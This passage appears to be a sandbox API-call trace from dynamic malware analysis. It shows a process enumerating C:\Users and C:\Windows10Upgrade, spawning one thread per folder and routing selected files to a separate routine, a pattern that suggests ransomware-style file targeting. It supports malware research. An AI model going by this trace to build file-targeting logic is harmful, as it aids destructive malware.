_Dest=0x33e1a10, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0058.402] wcscat (in: _Dest=0x33e1a10, _Source="*" | out: _Dest="C:\\Users\\*") returned="C:\\Users\\*" [0058.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3422c90 [0058.402] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfb58 [0058.406] wcscmp (_String1=".", _String2=".") returned 0 [0058.406] FindNextFileW (in: hFindFile=0x33dfb58, lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.406] wcscmp (_String1="..", _String2=".") returned 1 [0058.406] wcscmp (_String1="..", _String2="..") returned 0 [0058.406] FindNextFileW (in: hFindFile=0x33dfb58, lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0058.406] wcscmp (_String1="All Users", _String2=".") returned 1 [0058.406] wcscmp (_String1="All Users", _String2="..") returned 1 [0058.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x26) returned 0x33fc790 [0058.406] wcscpy (in: _Dest=0x33fc790, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0058.406] wcscat (in: _Dest=0x33fc790, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0058.406] wcscat (in: _Dest=0x33fc790, _Source="All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0058.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fc790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0058.420] FindNextFileW (in: hFindFile=0x33dfb58, lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0058.421] wcscmp (_String1="Default", _String2=".") returned 1 [0058.421] wcscmp (_String1="Default", _String2="..") returned 1 [0058.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x22) returned 0x33fc250 [0058.421] wcscpy (in: _Dest=0x33fc250, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0058.421] wcscat (in: _Dest=0x33fc250, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0058.421] wcscat (in: _Dest=0x33fc250, _Source="Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0058.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fc250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0058.422] FindNextFileW (in: hFindFile=0x33dfb58, lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0058.422] wcscmp (_String1="Default User", _String2=".") returned 1 [0058.422] wcscmp (_String1="Default User", _String2="..") returned 1 [0058.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2c) returned 0x341ba60 [0058.422] wcscpy (in: _Dest=0x341ba60, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0058.422] wcscat (in: _Dest=0x341ba60, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0058.422] wcscat (in: _Dest=0x341ba60, _Source="Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0058.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341ba60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328 [0058.423] FindNextFileW (in: hFindFile=0x33dfb58, lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default.migrated", cAlternateFileName="DEFAUL~1.MIG")) returned 1 [0058.423] wcscmp (_String1="Default.migrated", _String2=".") returned 1 [0058.423] wcscmp (_String1="Default.migrated", _String2="..") returned 1 [0058.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x33df818 [0058.423] wcscpy (in: _Dest=0x33df818, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0058.423] wcscat (in: _Dest=0x33df818, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0058.423] wcscat (in: _Dest=0x33df818, _Source="Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated" [0058.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33df818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0058.424] FindNextFileW (in: hFindFile=0x33dfb58, lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9bc987, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0058.424] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0058.424] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0058.424] FindNextFileW (in: hFindFile=0x33dfb58, lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 1 [0058.424] wcscmp (_String1="FD1HVy", _String2=".") returned 1 [0058.424] wcscmp (_String1="FD1HVy", _String2="..") returned 1 [0058.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c10 [0058.424] wcscpy (in: _Dest=0x33e4c10, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0058.424] wcscat (in: _Dest=0x33e4c10, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0058.424] wcscat (in: _Dest=0x33e4c10, _Source="FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0058.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e4c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0058.425] FindNextFileW (in: hFindFile=0x33dfb58, lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0058.425] wcscmp (_String1="Public", _String2=".") returned 1 [0058.425] wcscmp (_String1="Public", _String2="..") returned 1 [0058.425] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4990 [0058.425] wcscpy (in: _Dest=0x33e4990, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0058.425] wcscat (in: _Dest=0x33e4990, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0058.425] wcscat (in: _Dest=0x33e4990, _Source="Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0058.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e4990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0058.426] FindNextFileW (in: hFindFile=0x33dfb58, lpFindFileData=0x3422c90 | out: lpFindFileData=0x3422c90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0058.426] FindClose (in: hFindFile=0x33dfb58 | out: hFindFile=0x33dfb58) returned 1 [0058.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422c90) returned 1 [0058.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e1a10) returned 1 [0058.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e1bd0) returned 1 [0058.427] RtlExitUserThread (Status=0x0) Thread: id = 21 os_tid = 0x6dc [0058.403] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2c) returned 0x341b478 [0058.403] wcscpy (in: _Dest=0x341b478, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0058.403] wcscat (in: _Dest=0x341b478, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0058.403] wcscat (in: _Dest=0x341b478, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\*") returned="C:\\Windows10Upgrade\\*" [0058.403] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34237c8 [0058.403] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\*", lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dff58 [0058.675] wcscmp (_String1=".", _String2=".") returned 0 [0058.675] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.675] wcscmp (_String1="..", _String2=".") returned 1 [0058.675] wcscmp (_String1="..", _String2="..") returned 0 [0058.675] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0058.675] wcscmp (_String1="2052", _String2=".") returned 1 [0058.675] wcscmp (_String1="2052", _String2="..") returned 1 [0058.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x33e0718 [0058.675] wcscpy (in: _Dest=0x33e0718, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0058.675] wcscat (in: _Dest=0x33e0718, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0058.676] wcscat (in: _Dest=0x33e0718, _Source="2052" | out: _Dest="C:\\Windows10Upgrade\\2052") returned="C:\\Windows10Upgrade\\2052" [0059.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0059.030] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3659ec, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3659ec, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x704c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appraiserxp.dll", cAlternateFileName="APPRAI~1.DLL")) returned 1 [0059.030] wcscmp (_String1="appraiserxp.dll", _String2=".") returned 1 [0059.030] wcscmp (_String1="appraiserxp.dll", _String2="..") returned 1 [0059.030] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36cf08, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36cf08, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootsect.exe", cAlternateFileName="")) returned 1 [0059.030] wcscmp (_String1="bootsect.exe", _String2=".") returned 1 [0059.030] wcscmp (_String1="bootsect.exe", _String2="..") returned 1 [0059.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x341c700 [0059.030] wcscpy (in: _Dest=0x341c700, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.030] wcscat (in: _Dest=0x341c700, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.030] wcscat (in: _Dest=0x341c700, _Source="bootsect.exe" | out: _Dest="C:\\Windows10Upgrade\\bootsect.exe") returned="C:\\Windows10Upgrade\\bootsect.exe" [0059.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341c700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0059.030] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea350dad, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea350dad, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xb08c3ee, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration.ini", cAlternateFileName="CONFIG~1.INI")) returned 1 [0059.030] wcscmp (_String1="Configuration.ini", _String2=".") returned 1 [0059.030] wcscmp (_String1="Configuration.ini", _String2="..") returned 1 [0059.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x33c3c68 [0059.031] wcscpy (in: _Dest=0x33c3c68, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.031] wcscat (in: _Dest=0x33c3c68, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.031] wcscat (in: _Dest=0x33c3c68, _Source="Configuration.ini" | out: _Dest="C:\\Windows10Upgrade\\Configuration.ini") returned="C:\\Windows10Upgrade\\Configuration.ini" [0059.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c3c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0059.031] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36e29e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36e29e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xf0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cosquery.dll", cAlternateFileName="")) returned 1 [0059.031] wcscmp (_String1="cosquery.dll", _String2=".") returned 1 [0059.031] wcscmp (_String1="cosquery.dll", _String2="..") returned 1 [0059.031] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea370998, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea370998, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x508c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DevInv.dll", cAlternateFileName="")) returned 1 [0059.031] wcscmp (_String1="DevInv.dll", _String2=".") returned 1 [0059.031] wcscmp (_String1="DevInv.dll", _String2="..") returned 1 [0059.031] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea377ed3, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dll1", cAlternateFileName="")) returned 1 [0059.032] wcscmp (_String1="dll1", _String2=".") returned 1 [0059.032] wcscmp (_String1="dll1", _String2="..") returned 1 [0059.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x33e0458 [0059.032] wcscpy (in: _Dest=0x33e0458, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.032] wcscat (in: _Dest=0x33e0458, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.032] wcscat (in: _Dest=0x33e0458, _Source="dll1" | out: _Dest="C:\\Windows10Upgrade\\dll1") returned="C:\\Windows10Upgrade\\dll1" [0059.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0059.032] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37cd05, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dll2", cAlternateFileName="")) returned 1 [0059.033] wcscmp (_String1="dll2", _String2=".") returned 1 [0059.033] wcscmp (_String1="dll2", _String2="..") returned 1 [0059.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x33e0498 [0059.033] wcscpy (in: _Dest=0x33e0498, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.033] wcscat (in: _Dest=0x33e0498, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.033] wcscat (in: _Dest=0x33e0498, _Source="dll2" | out: _Dest="C:\\Windows10Upgrade\\dll2") returned="C:\\Windows10Upgrade\\dll2" [0059.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0059.033] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea380798, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea380798, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x326c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="downloader.dll", cAlternateFileName="DOWNLO~1.DLL")) returned 1 [0059.033] wcscmp (_String1="downloader.dll", _String2=".") returned 1 [0059.033] wcscmp (_String1="downloader.dll", _String2="..") returned 1 [0059.034] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea381b2a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea381b2a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x9d2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0059.034] wcscmp (_String1="DW20.EXE", _String2=".") returned 1 [0059.034] wcscmp (_String1="DW20.EXE", _String2="..") returned 1 [0059.034] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd3e8 [0059.034] wcscpy (in: _Dest=0x33fd3e8, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.034] wcscat (in: _Dest=0x33fd3e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.034] wcscat (in: _Dest=0x33fd3e8, _Source="DW20.EXE" | out: _Dest="C:\\Windows10Upgrade\\DW20.EXE") returned="C:\\Windows10Upgrade\\DW20.EXE" [0059.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fd3e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0059.034] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea385605, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea385605, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xc2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWDCW20.DLL", cAlternateFileName="")) returned 1 [0059.034] wcscmp (_String1="DWDCW20.DLL", _String2=".") returned 1 [0059.034] wcscmp (_String1="DWDCW20.DLL", _String2="..") returned 1 [0059.035] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea386943, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea386943, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xb2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0059.035] wcscmp (_String1="DWTRIG20.EXE", _String2=".") returned 1 [0059.035] wcscmp (_String1="DWTRIG20.EXE", _String2="..") returned 1 [0059.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x33d2758 [0059.035] wcscpy (in: _Dest=0x33d2758, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.035] wcscat (in: _Dest=0x33d2758, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.035] wcscat (in: _Dest=0x33d2758, _Source="DWTRIG20.EXE" | out: _Dest="C:\\Windows10Upgrade\\DWTRIG20.EXE") returned="C:\\Windows10Upgrade\\DWTRIG20.EXE" [0059.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33d2758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0059.035] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea387cd0, 